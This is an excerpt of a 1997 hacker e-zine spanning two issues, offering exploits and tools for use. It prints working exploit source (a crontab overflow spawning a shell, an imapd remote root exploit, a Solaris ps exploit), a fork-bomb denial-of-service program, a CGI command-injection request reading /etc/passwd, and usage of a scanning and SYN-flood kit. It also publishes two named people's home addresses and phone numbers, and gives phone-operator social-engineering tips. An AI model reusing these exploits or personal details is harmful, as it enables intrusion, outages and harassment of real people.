dO ThIs By UsIng tHE SmALL, wELL TrAiNeD InSecT, LiKe A bEE, aS bEE's aRe ThE
BeSt At SCannInG HiDDen PoRtz, WhEn ThE bEE HaS fOuND sOmE kEwL PoRtS (UsuALLy
aT dA tOp oF Da TrEE) tIe ThE GI-JoE AcTiOn FiGuRe tO ThE bEE, aNd gEt HiM To
PuT YeR Rs232 CaBle Up ThErE sO YeW CaN AcCesS dA PoRt Of Da TrEE!
WhEn ThE rS232 cAbLE iS In pLACe, PuT oN ThE CaMofLAUgEd CloTHIng, AnD HiDe
BeHiNd A bUsH WiTh YoUr LaPtOP, ThEn GeT ThE GI-JoE AcTiOn FiGuRe To PaRAcHute
d0Wn dA TrEE, aNd GiVe YoU ThE OTheR EnD Of dA Rs232 CaBLe, ThEn gO InTo DoS
AnD RuN tHiS PrOgRam In Gw-BASiC...
10 OPEN (COM PORT AND STUFF)
20 DATA "GIVE ME ALL YOUR K-LEET JUAREZ AND STUFF NOW, BECAUSE I OWN J00"
30 OPEN (ANOTHER PORT AND STUFF)
40 DATA "EYE BE W00PIN J00 F00L, PHEAR MUH ELEETNESS"
50 GOTO 10
ThIs ShOuLd cRaSh ThE TrEE, LeAvInG iT OpEn tO AtTaCk, NeXt TaKE ThE HaCk SaW
AnD StArT cUtTiNg The BaRK oFF ThE TrEE (OnLy iN oNe pLaCe) ThE BArk AcTs LiKe
a FiRewALL, AnD sO It MuSt Be tAkeN DoWN FirSt.
NeXt CHecK On YoUr LaPtOp WheThEr ThE TrEE HaS GiVen yEw eLeeT JuArEz, iF NoT
ThEN uSe The CoPPeR nAiL to rm -rf / ThE TrEE, HaMmEr The CoPPeR nAiL InTo The
TrEE, AnD ThE TrEE WiLL bE rm'd WitHiN aBOUt A wEEk (dEw TeW 99999999999999 GB
HaRd dRivE SPaCe)
hAvE PhUn! MoRe NoT-So-LeCtiCaL iTeMz NeXt TimE!@~^&*
TeEkAy.
�������������������������������������������������������������������������������
===============================================================================
==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]==
===============================================================================
�������������������������������������������������������������������������������
1. Amnesty International Hacked : Article From cnet.com
�������������������������������������������������������������������������������
http://www.news.com/News/Item/0,4,10135,00.html
Amnesty International hacked
By Janet Kornblum
April 28, 1997, 3:15 p.m. PT
Hackers broke into the Amnesty International home
page over the weekend, altering it with a highly
stylized, futuristic-looking graphic of a small child or
baby smoking a cigarette.
Amnesty International didn't know what the
perpetrators wanted to accomplish with the
hacking, which was strikingly apolitical considering
the political nature of the target. Above the picture,
the altered Web page read, "Who laughs last? We
are the 4 man dream team, just proving one of
many points."
But just what those points were was lost on many,
not the least of whom was Mike Blackstock, the
system administrator for Ontario Internet Link, the
small Canadian Internet service provider that hosts
the Amnesty site for free.
"As far as I can tell, they didn't do anything
malicious," he said. "They replaced one page of
Amnesty with a silly graphic of a kid smoking. This
was not political as far as I could tell. The only
politics I could think of was cigarettes."
Beneath the picture, the page is signed, "Thanx to:
so1o, modeX, XFli, mstrhelix...CodeZero uber
alles!"
This hack appears to be unrelated to other recent
high-profile incidents, including one last week in
which a Portuguese group broke in to Indonesian
government Web pages to protest its treatment of
East Timor. In that case, the hackers--referred to
by many as "crackers" because they crack into
systems--were quite clear about the reasons behind
their action.
In the case of the Amnesty page, Blackstone said
the hackers only altered the Web page and did not
cause major damage, though they could have done
so if they wanted to. The altered page was up for a
few hours, he said.
Blackstone was busy plugging the security hole but
pointed out that sites much bigger with higher
profiles, such as the Air Force, the Central
Intelligence Agency, and the Justice Department,
also have been hacked.
�������������������������������������������������������������������������������
2. //sToRm// Of sIn Rips Port Pro : so1o
�������������������������������������������������������������������������������
Ummmm, on www.sinnerz.com //sToRm// has a lamefuck page with his k-leet
w1nd0ze '95 juarez, coded in Visual Basic, with his "VB For Dummies" book,
which include...
DrSpewfy : Pile'O'Crap, why not get a nameserver and sirc? and
actually be able to talk to people?
DCCNewk : Chargen Flood? why not try like, SYN FLOOD? d0h..
Port Pro : Okay, original Port Pro is SHAREWARE, made by Blue Byte
Software, and it is SOOO obvious that //sToRm// just did a
little bit of hex editing, and B00oo00m! hes changed the
authors name and shit to his own! but ummm, because of his
EXTREME lameness, he didn't know how to change the program
name, the version and the general interface and look of the
program, what a LAME FUCK. I'm sure he will have Blue Byte
on his fucking ass with Copyright and shit. h0h0h0h0h0!@#
I doubt //sToRm// coded *ANYTHING* on that page,
as DrSpewfy is just shit, and DCCNewk is just like the DCC
Nuking code we put out in the CodeZero Technical Journal
Issue 2 :)
�������������������������������������������������������������������������������
3. Digital Darkness Lives : so1o
�������������������������������������������������������������������������������
It looked as if the DD wouldn't bring out a magazine this month, but they
got a huge influx of submissions and live another day!@# if you want to submit
anything for DD, mail [email protected] or [email protected] 'cos I ain't shure.
Visit their page too : http://dd.home.ml.org
�������������������������������������������������������������������������������
4. /home/sdr 0wned : so1o
�������������������������������������������������������������������������������
sdr, a user of duncan.nac.net (owned by bspline - where all the cool people on
efnet have their shells) was playing with the permissions in his home directory
and he accidentally made the whole directory world readable, so then cold blood
and others got all of sdr's k-leet y00nix juarez, and tar'd + gz'd them up and
were distributing the sdr.tar.gz in #hack using XDCC :)
�������������������������������������������������������������������������������
5. Sendmail 8.8.4 Remote Is Out : so1o
�������������������������������������������������������������������������������
Yep, its been confirmed, the sendmail 884 remote exploit for ALL OS's is now
out, there was some delay in r00t members getting the offsets needed for each
Operating System, but now the technique is complete, and many 8.8.4 systems
are vunerable. Sendmail 8.8.5 remote exploits are being looked into now.
�������������������������������������������������������������������������������
6. sIn inf0z Part 2 : The CodeZero
�������������������������������������������������������������������������������
-------------------------------------------------------------------------------
=-= w0wie!@# we g0t 2 n0w!! =-=
-------------------------------------------------------------------------------
Alias : Evil Chick
Real Name : Suzette Kimminau
Address : 130 105th Ave. S.E. Apt. 218
Bellevue, Wa 98004
USA
Telephone : (206)454-7176
Email : [email protected]
-------------------------------------------------------------------------------
Alias : \\StOrM\\
Real Name : Jason Sloderbeck
Address : 5739 N Norton,
Kansas City, MO 64119
USA
Telephone : (816)453-8722
Email : [email protected]
-------------------------------------------------------------------------------
aS wE PrOMiSeD LasT t1me! eXpect m0re s00n!
�������������������������������������������������������������������������������
===============================================================================
==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]==
===============================================================================
�������������������������������������������������������������������������������
-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\
=/-/=/-/=/-/=/-/=/-/=/-/ so1o of The CodeZero presents. \-\=\-\=\-\=\-\=\-\=\-\=
-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\
=/-/=/-/=/-/=/-/=/-/=/-/ The CodeZero \-\=\-\=\-\=\-\=\-\=\-\=
=/-/=/-/=/-/=/-/=/-/=/-/ Remote Attack Kit. \-\=\-\=\-\=\-\=\-\=\-\=
=/-/=/-/=/-/=/-/=/-/=/-/ [CRAK] \-\=\-\=\-\=\-\=\-\=\-\=
-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\
=/-/=/-/=/-/=/-/=/-/=/-/ .:. -=10/05/97=- .:. \-\=\-\=\-\=\-\=\-\=\-\=
-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/=/-/\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\-\=\
�������������������������������������������������������������������������������
w00 w00!! Now you can have k-leet skills like me! Firstly upload the crak.tar
to a linux 2.0.x system, or to your own, then tar -xvf crack.tar to unzip the
file, then move the files around and shit if you want to, then you're ready
to go! Expect OS specific kits in later issues...And Multi-Scan s00n.
===============================================================================
The Contents Of The Kit :
===============================================================================
dnsscan : Mass DNS query program, gets lists of systems in entire countries,
or all the systems on a network, like *.microsoft.com.
phpscan : Scans hosts from a file and outputs a list of php vunerable sites.
phpget : Gets files from php vunerable servers.
phfscan : Scans hosts from a file and outputs a list of php vunerable sites.
ident-scan: Scans all daemons running on ports and determines cool stuff.
tcpprobe : Very simple portscanner.
fingah : Uses an apache hole to finger systems if port 79 isnt open.
synk4 : SYN flooder, basically kicks the shit out of systems.
===============================================================================
Usages :
===============================================================================
Use this command to unzip the crak.tar...
% tar -xvf crak.tar
then it will be copied into /crak, depending on the working directory..
DNSscan :
---------
Usage: dnscan [-file ] [-domain ] [-sub ]
-file Usages as a list of subdomains and servers to scan.
-domain Lists all servers in a first level domain like com or net.
-subdomain Lists all servers in a domain.
The -domain mode will first create a file called 'domain.' with a
list of all subdomains and their name servers, and then use that file in
the -file mode.
The input file needs to have the following format:
[]
To list all servers in Japan, do "dnscan -domain jp"
To list all servers in the netcom domain, do "dnscan -sub netcom.com"
PHPscan :
---------
phpscan
eg.
phpscan domains.txt phpvunerable.txt
PHPget :
--------
phpget
eg.
phpget www.p1.com /etc/passwd
PHFscan :
---------
phfscan
eg.
phfscan domains.txt phfvunerable.txt
Ident-Scan :
------------
ident-scan [low port] [high port]
eg.
ident-scan warped.arc.nasa.gov 1 9999
TCPprobe :
----------
tcpprobe
eg.
tcpprobe microsoft.com
Fingah :
--------
fingah
eg.
fingah www.p1.com root
Synk4 :
-------
synk4
if you use 0 as the source address, its puts the syn flooder into random
ip mode, where the packets are sent from many different random sites.
eg.
synk4 0 fucked.com 1 23
Have Phun!@#
===============================================================================
Where To Get CRAK.tar : Under CodeZero Linux Tools Section on www.codez.com
===============================================================================
It can be unzipped with WinZip if you are in W1nd0ze too.. :)
�������������������������������������������������������������������������������
===============================================================================
==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]==
===============================================================================
�������������������������������������������������������������������������������
Well, that was issue 2, hope ya'll liked it, don't forget to visit...
AnD ReMeMBer To LiNk To iT FrOm YouR SiTeZ!!
=====================> http://www.codez.com NOW UP!@#* <=====================
=====================> http://www.codez.com NOW UP!@#* <=====================
=====================> http://www.codez.com NOW UP!@#* <=====================
Until next time, when there will be 900 days until the year 2000...
The CodeZero.
===============================================================================
=====================> http://www.codez.com NOW UP!@#* <=====================
===============================================================================
�������������������������������������������������������������������������������
Remember, McDonalds Owns You, And Ronald Is The KinG!!!
Wendy Is Satan!! Don't Believe The Lies!! PHEAR WENDY!@#*
�������������������������������������������������������������������������������
crh003.txt100644 1751 12 324153 6355575606 10324 0ustar wheel�������������������������������������������������������������������������������
.oO The CodeZero Oo.
.oO Presents Oo.
�������������������������������������������������������������������������������
���۲����۲����۲����۲����۲����۲����۲����۲����۲����۲����۲��
���� ۲��
���� -C-O-N-F-i-D-E-N-C-E- -R-E-M-A-i-N-S- ۲��
���� ۲��
���� � � � ��� � � ۲��
���� ۲����۲����� ���� � � �� ���� ۲����۲����� ۲��
���� � � � ���� � � ۲��
���� ۲��
���� Issue 003, July 15th 1997. ۲��
���� ۲��
���۲����۲����۲����۲����۲����۲����۲����۲����۲����۲����۲��
Are you on a w1nd0ze / D0s system?
We suggest you view this in EDIT.COM For added AsKii effects!@#
�������������������������������������������������������������������������������
_ /| k0dek4t sez...
\'o O'
=(_o_)= "EyEm HuNGaRy FoR CoDeZ,
U nOt CaTf00d!!#@"
----------------------------------
�--� HTTP://WWW.CODEZ.COM �--�
----------------------------------
�������������������������������������������������������������������������������
In This "Added Vitamins And Minerals" Issue :
�������������������������������������������������������������������������������
-----=> Section A : Introduction And Cover Story.
1. Confidence Remains High Issue 3....................: Tetsu Khan
2. The Future.........................................: so1o
-----=> Section B : Exploits And Code.
1. crontab b00gz......................................: unknown
2. DoS : superforker.c................................: Vio
3. Cool Bot Juarez : personal.tcl.....................: Scorn
4. imapd Remote Exploit...............................: aky / p1
5. Solaris 2.5.1 ps Exploit...........................: J. Zbiciak
6. handler CGI Hole...................................: so1o
-----=> Section C : Phones / Scanning / Radio.
1. DTMF Decoder.......................................: xFli
2. Dealing With Directory Assistance Operators........: Qytpo
3. Russian fone #'s (+7 095 XXXxxxx)..................: CyberLirik
-----=> Section D : Miscellaneous.
1. More sIn inf0z.....................................: The CodeZero + Friends
2. The Codez That NASA Use............................: so1o
3. Rooting From Bin...................................: so1o
4. DNS Spoofing.......................................: so1o
5. FreeNet............................................: TrN
6. Backdoors Revised..................................: Blk-Majik
7. One Last Thing About The Infamous pHf Technique....: so1o
-----=> Section E : World News.
1. Some History.......................................: nobody
2. [GUNNAR] and MadSeason and sIn.....................: so1o
3. "Welcome to the [D]epartment of [O]wned [E]nergy"..: so1o
------=> Section F : Projects.
1. The CodeZero Remote Attack Kit Version 1.00 *FiNAL*: so1o
-----=> Section G : The End. (+ Personal Column)
�������������������������������������������������������������������������������
===============================================================================
==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]==
===============================================================================
�������������������������������������������������������������������������������
1. Confidence Remains High Issue 3 : Tetsu Khan
�������������������������������������������������������������������������������
Because we just cannot keep the payments for www.codez.com up, and the server
keeps going up and down and up and down, Confidence Remains High and CodeZero
tools will soon be available at the following sites :
http://insecurity.insecurity.org/codez/ [ main site, write it down :) ]
http://www.7thsphere.com/hpvac/hacking.html [ CRH distro site ]
http://www.r0ot.org [ CRH distro site ]
Also available thru FTP...
ftp.sekurity.org /users/so1o/ [ Codez distro site ]
But we are hoping to set up a new SUPER DOMAIN!@# Expect that within the next
issue or two, it will have...
CooL o-DaY WaReZ
eLeeT VMS hAx0RiN TeXt FiLeZ
K-r4d ANSi!@#
�������������������������������������������������������������������������������
2. The Future : so1o
�������������������������������������������������������������������������������
The Squirel is your friend, love the Squirel, trust the Squirel...
so1o
�������������������������������������������������������������������������������
===============================================================================
==[ EXPLOITS ]=================[ .SECTION B. ]===================[ EXPLOITS ]==
===============================================================================
�������������������������������������������������������������������������������
1. crontab b00gz : unknown
�������������������������������������������������������������������������������
/* crontab bug */
#include
#include
long get_esp(void)
{
__asm__("movl %esp, %eax\n");
}
main(int argc, char **argv)
{
int i, j, offset;
char *bar, *foo;
unsigned long *esp_plus = NULL;
char mach_codes[] =
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
if (argc == 2)
offset = atoi(argv[1]);
bar = malloc(4096);
if (!bar){
fprintf(stderr, "failed to malloc memory\n");
exit(1);
}
foo = bar; /* copy of original ptr */
esp_plus = (long *)bar;
for(i=0; i < 1024 ; i++)
*(esp_plus++) = (get_esp() + offset);
printf("Using offset (0x%x)\n", (get_esp() + offset));
bar = (char *)esp_plus;
for(j=0; j< strlen(mach_codes); j++)
*(bar++) = mach_codes[j];
*bar = 0;
execl("/usr/bin/crontab", "crontab", foo, NULL);
}
�������������������������������������������������������������������������������
2. DoS : superforker.c : Vio
�������������������������������������������������������������������������������
This program is fucking evil, I have tested it on a few systems and it just
screws them over and sloooOOooows them right down, you cant throw anything at
the shell, its pretty sadistic...
/* DOS-CoViN. Version .53b, coded by Vio, some ideas are from the
bugtraq
This program is a beefed up classic denial of service fork()'er :)
Compilation:
on BSD type of systems do: gcc -DBSD_C -o cvn cvn.c
on SysV type of systems do: gcc -DSYSV_C -o cvn cvn.c
on my linux, I can compile it with both -DBSD_C and -DSYSV_C
if your not sure, you can experiment, or compile it
without any -D'efines
In the future:
SunOS signals ignored.
Creation of random symlinks for more gory destruction.
Using advanced technology coding to make the hard drive
blow up with a loud boom and the console explode causing
a nuclear meltdown.
Direct All Suggestions And Flames to: Vio
NOTE: this program is provided for educational purposes only, its author
will not take any responsibility for any stupid things you will
decide to do.
this has been tested, but not the latest version of it.
*/
#include
#include
#include
#include
#include
#include
#include
#define MAX_FILELEN 100 /* The _actual_ max length */
#define MAX_DIRLEN 10
#define START_DIR "/tmp" /* This can be substituted for any directory */
/* that you have write access to */
void dirs_generator(void);
main(int argc, char *argv[])
{
int fp;
char *buff;
char chr;
unlink(argv[0]);
/* You might wanna ignore all the signals you can ignore.. */
signal(SIGINT, SIG_IGN); /* If any of the signals don't work */
signal(SIGHUP, SIG_IGN); /* on the system you are compiling */
signal(SIGTERM, SIG_IGN); /* them on, just erase that line */
signal(SIGALRM, SIG_IGN);
signal(SIGBUS, SIG_IGN);
signal(SIGFPE, SIG_IGN);
signal(SIGILL, SIG_IGN);
signal(SIGIOT, SIG_IGN);
signal(SIGPIPE, SIG_IGN);
signal(SIGQUIT, SIG_IGN);
signal(SIGSEGV, SIG_IGN);
signal(SIGTRAP, SIG_IGN);
signal(SIGUSR1, SIG_IGN);
signal(SIGUSR2, SIG_IGN);
#ifdef BSD_C
signal(SIGPROF, SIG_IGN);
signal(SIGSTOP, SIG_IGN);
signal(SIGTSTP, SIG_IGN);
signal(SIGTTIN, SIG_IGN);
signal(SIGTTOU, SIG_IGN);
signal(SIGVTALRM, SIG_IGN);
signal(SIGXCPU, SIG_IGN);
signal(SIGXFSZ, SIG_IGN);
#endif
#ifdef SYSV_C
signal(SIGPOLL, SIG_IGN);
signal(SIGPWR, SIG_IGN);
#endif
if(fork()) {
printf("Now crashing and blowing up this system.. have a nice day\n");
printf("You can safely logout, and let the proggie do its work\n");
printf("or you can stick around and watch lag go from 0 to bitch\n");
printf("in a matter of seconds\n");
printf(" --CoViN \n");
exit(0);
}
fp=open("/tmp/.foo",O_WRONLY|O_CREAT);
if(fork()) {
while(1) {
fork();
buff = malloc(64000);
write(fp, buff, 64000);
system("uptime");
}
}
dirs_generator();
}
void dirs_generator(void)
{
char alph[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. ";
char fl[MAX_FILELEN];
char dir[MAX_DIRLEN];
int i;
int flen;
printf("Making dirs..\n");
chdir(START_DIR);
fork(); /* For the simplicity of the code.. we also want more dir's from */
fork(); /* the START_DIR */
fork();
while(1) {
fork();
flen= (rand() % MAX_FILELEN) - 1;
for(i=0; i> Persona-Answer"
return 1
}
return 0
}
# function to answer greetings
proc pub_greet {nick uhost hand channel args} {
global greets greet_size persona_flag
if {$persona_flag} {
persona_pause
putserv "PRIVMSG $channel :$greets([rand $greet_size]) $nick"
putlog "<<$nick>> Persona-Greet"
return 1
}
return 0
}
# function to answer stupid stuff
proc pub_stupid {nick uhost hand channel args} {
global stupid stupid_size persona_flag
if {$persona_flag} {
persona_pause
putserv "PRIVMSG $channel :$nick , $stupid([rand $stupid_size])"
putlog "<<$nick>> Persona-Stupid"
return 1
}
return 0
}
# function to answer goodbyes
proc pub_bye {nick uhost hand channel args} {
global bye bye_size persona_flag
if {$persona_flag} {
persona_pause
putserv "PRIVMSG $channel :$bye([rand $bye_size]) $nick"
putlog "<<$nick>> Persona-Bye"
return 1
}
return 0
}
# misc. functions
proc pub_tk3 {nick uhost hand channel args} {
global persona_flag
if {$persona_flag} {
persona_pause
putserv "PRIVMSG $channel :$nick, check out tk3play at bleh"
putlog "<<$nick>> Persona-tk3play"
return 1
}
return 0
}
# function to enforce minimum pause between responses
proc persona_pause {} {
global persona_flag persona_wait
if {$persona_flag} {
persona_off
utimer $persona_wait persona_on
}
return 1
}
# functions to turn the personality on and off
proc persona_on {} {
global persona_flag
set persona_flag 1
return 1
}
proc persona_off {} {
global persona_flag
set persona_flag 0
return 1
}
putlog "Scorn's persona.tcl is loaded"
�������������������������������������������������������������������������������
4. imapd Remote Exploit : aky / p1
�������������������������������������������������������������������������������
This is the slightly upgraded version of this exploit floating around, there
is also another, which is very hard to get, which spawns a shell with root
access, I have also heard of European hacker groups coding homemade versions
and variants which will this, so for the moment, heres this exploit,
imapd usually runs on port 143. This version changes the root passwd field
to being blank, so you can su to root without a password. I have heard there
are problems and limitations with this, but that ain't my problem..
/*
This is the remote exploit of the hole in the imap daemon, for
Linux. The instruction code is doing open(), write(), and close()
system calls, and it adds a line root::0:0.. at the beggining of
/etc/passwd (change to /etc/shadow if needed). The code needs to
be self modifying since imapd turns everything to lowercase before
it pushes it on the stack. The problem is that it rewrites the
first line of passwd/shadow, therefore loosing the root password.
I'm sorry, but I don't have time to add in the seek syscall.
- Akylonius ([email protected]) [1997]
Modifications made on 5.1.97 to accept command line hostname, with
'h_to_ip' function that resolves it to an ip. - p1 ([email protected])
*/
#include
#include
#include
#include
#include
#include
#include
char *h_to_ip(char *hostname);
char *h_to_ip(char *hostname) {
struct hostent *h;
struct sockaddr_in tmp;
struct in_addr in;
h = gethostbyname(hostname);
if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }
memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
memcpy(&in,&tmp.sin_addr.s_addr,4);
return(inet_ntoa(in));
}
void banner(void) {
system("clear");
printf("\nIMAP Exploit for Linux.\n");
printf("\n\tAuthor: Akylonius ([email protected])\n");
printf(" Modifications: p1 ([email protected])\n");
}
main(int argc, char **argv) {
int fd;
struct sockaddr_in sckdaddr;
char *hostname;
char buf[4092];
int i=8;
char realegg[] =
"\xeb\x58\x5e"
"\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
"\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
"\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
"\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
"\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
"\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
"\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
"\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"\xe8\x83\xff\xff\xff"
"/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
char *point = realegg;
buf[0]='*';
buf[1]=' ';
buf[2]='l';
buf[3]='o';
buf[4]='g';
buf[5]='i';
buf[6]='n';
buf[7]=' ';
banner();
if (argc<2) {
printf("\nUsage: %s \n\n", argv[0]);
exit(-1);
}
hostname=argv[1];
while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
buf[i++]=0x90;
while(*point)
buf[i++]=*(point++);
buf[i++]=0x83; /* ebp */
buf[i++]=0xf3;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=0x88; /* ret adr */
buf[i++]=0xf8;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=' ';
buf[i++]='b';
buf[i++]='a';
buf[i++]='h';
buf[i++]='\n';
buf[i++]=0x0;
if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the socket. \n");
sckdaddr.sin_port=htons(143);
sckdaddr.sin_family=AF_INET;
sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0) perror("Error with connecting. \n");
printf("hmm: \n");
getchar();
write(fd,buf,strlen(buf)+1);
printf("hmm: \n");
close(fd);
}
�������������������������������������������������������������������������������
5. Solaris 2.5.1 ps Exploit : J. Zbiciak
�������������������������������������������������������������������������������
#!/bin/sh
#
# Exploit for Solaris 2.5.1 /usr/bin/ps
# J. Zbiciak, 5/18/97
#
# Just copy this into one file, upload it to a system, chmod 755 and
# then run it using
# change as appropriate
CC=gcc
# Build the "replacement message" :-)
cat > ps_expl.po << E_O_F
domain "SUNW_OST_OSCMD"
msgid "usage: %s\n%s\n%s\n%s\n%s\n%s\n%s\n"
msgstr "\055\013\330\232\254\025\241\156\057\013\332\334\256\025\343\150\220\013\200\016\222\003\240\014\224\032\200\012\234\003\240\024\354\073\277\354\300\043\277\364\334\043\277\370\300\043\277\374\202\020\040\073\221\320\040\010\220\033\300\017\202\02
0\040\001\221\320\040\010"
E_O_F
msgfmt -o /tmp/foo ps_expl.po
# Build the C portion of the exploit
cat > ps_expl.c << E_O_F
/*****************************************/
/* Exploit for Solaris 2.5.1 /usr/bin/ps */
/* J. Zbiciak, 5/18/97 */
/*****************************************/
#include
#include
#include
#include
#define BUF_LENGTH (632)
#define EXTRA (256)
int main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA];
/* ps will grok this file for the exploit code */
char *envp[]={"NLSPATH=/tmp/foo",0};
u_long *long_p;
u_char *char_p;
/* This will vary depending on your libc */
u_long proc_link=0xef70ef70;
int i;
long_p = (u_long *) buf;
/* This first loop smashes the target buffer for optargs */
for (i = 0; i < (96) / sizeof(u_long); i++)
*long_p++ = 0x10101010;
/* At offset 96 is the environ ptr -- be careful not to mess it up */
*long_p++=0xeffffcb0;
*long_p++=0xffffffff;
/* After that is the _ctype table. Filling with 0x10101010 marks the
entire character set as being "uppercase printable". */
for (i = 0; i < (BUF_LENGTH-104) / sizeof(u_long); i++)
*long_p++ = 0x10101010;
/* build up _iob[0] (Ref: /usr/include/stdio.h, struct FILE) */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x0501FFFF; /* unbuffered output on stream 1 */
/* Note: "stdin" is marked as an output stream. Don't sweat it. :-) */
/* build up _iob[1] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4201FFFF; /* line-buffered output on stream 1 */
/* build up _iob[2] */
*long_p++ = 0xFFFFFFFF; /* num chars in buffer */
*long_p++ = proc_link; /* pointer to chars in buffer */
*long_p++ = proc_link; /* pointer to buffer */
*long_p++ = 0x4202FFFF; /* line-buffered output on stream 2 */
*long_p =0;
/* The following includes the invalid argument '-z' to force the
usage msg to appear after the arguments have been parsed. */
execle("/usr/bin/ps", "ps", "-z", "-u", buf, (char *) 0, envp);
perror("execle failed");
return 0;
}
E_O_F
# Compile it
$CC -o ps_expl ps_expl.c
# And off we go!
exec ./ps_expl
�������������������������������������������������������������������������������
6. handler CGI Hole : so1o
�������������������������������������������������������������������������������
New bug that affects most IRIX systems, heres how you use it...
telnet target.machine.com 80
GET /cgi-bin/handler/useless_shit;cat /etc/passwd|?data=Download
HTTP/1.0
�������������������������������������������������������������������������������
===============================================================================
==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]==
===============================================================================
�������������������������������������������������������������������������������
1. DTMF Decoder : xFli
�������������������������������������������������������������������������������
DTMF Decoder plans.
-------------------
If you are into bigtime surveillance, or you just have some burning desire
to get the phone number of your sisters sexy friend, then you will be
interested in this little circuit. Basically, using this, you can use a tape
recorder and a pickup coil to record the DTMF tones sent when someone dials
a number, or if it is easier to you can wire it up to a phone jack and
decode in realtime, and then decode them to get the number dialled. This
can cope with speed dialling, but you will need a reasonably good recording
to decode successfully.
The circuit is simplicity itself, literally only 5 components. I could have
included an unreadable ascii circuit diag / pcb layout, but it would have been
a waste of time, so the diags are available from http://www.codez.com and other
CodeZero sites.
The hardware takes the DTMF signal, decodes it and sends it to lpt1, where the
binary output of the ic is converted into standard numbers. The simple BASIC
program is included. Which is precompiled on http://www.codez.com
Component list:
----------------
1 x SSI202 18 pin Chip
1 x 3.579 MHz quartz crystal
2 x 27n Capacitors
1 x 1M resistor
Source:
--------
DTMF DECODER SOFTWARE
------------------------------------------
' Use this to decode the output from the decoder hardware
' Not written by xFli, suggested in an electronics mag.
10 CLS:KEY OFF
20 I=INP(&H279)
30 IF (I AND 128)=128 THEN 30
40 C=0
50 IF (I AND 8)=8 THEN C=C+1
60 IF (I AND 16)=16 THEN C=C+2
70 IF (I AND 32)=32 THEN C=C+4
80 IF (I AND 64)=64 THEN C=C+8
90 IF C=11 THEN PRINT" * ";:GOTO 180
100 IF C=12 THEN PRINT" # ";:GOTO 180
110 IF C=13 THEN PRINT" A ";:GOTO 180
120 IF C=14 THEN PRINT" B ";:GOTO 180
130 IF C=15 THEN PRINT" C ";:GOTO 180
140 IF C=0 THEN PRINT" D ";:GOTO 180
150 IF C=10 THEN PRINT" 0 ";:GOTO 180
160 PRINT C;
170 I=INP(&H279)
180 IF (I AND 128)=0 THEN 180
190 T=TIMER
200 I=INP(&H279)
210 IF (TIMER-T)>5 THEN PRINT:PRINT:GOTO 30
220 IF (I AND 128) = 128 THEN 210
230 GOTO 50
In the magazine, it is advised you use gw-basic, which is included with very
very early DOS versions. It may or may not work with qbasic etc. I don't know.
These are also for UK tones, maybe they are different in the US.
�������������������������������������������������������������������������������
2. Dealing with directory assistance operators : Qytpo
�������������������������������������������������������������������������������
Allright, this information should be made available to everyone who cares
to read it. Any information used from this article is to be used at a
persons own risk. i will not be held responsible if any of this is used
for wrongfull purposes- ( it can, you just have to get really creative ).
Well, to start off, the job of the directory assistance operator, is to
give out addresses, phone numbers, and area codes, for the information
given to them. The operators can search from names, business names, and
government names, despite what anyone tells you, an AT&T DIRECTORY
ASSISTANCE OPERATOR CAN DO A CNA SEARCH. (Customer name and address)
If the particular operator says they cant, then bug them. yell at them.
if they dont do it themselves, they will get their supervisor. and if you
make it sound really important they can do it. and if all that doesnt
work, try to find a naive operator, tell them you are an AT&T
administrator, and say, to press (Control+C) to bring up a CNA search on
their switch. A CNA search is a very valuable asset, if you cannot find a
CNA operator, give a directory assistance operator a whirl, chances are,
if you have a brain, and are a decent actor, you can get the listing for
the number you give them.
Routing.
The calls are routed through a large mainframe in each state department
How it works: Say you dial, 602-555-1212. that would put you through to an
operator ANYWHERE in the United States, where phoenix calls are routed
through to. it will not just appear in 602, allthought that is where it is
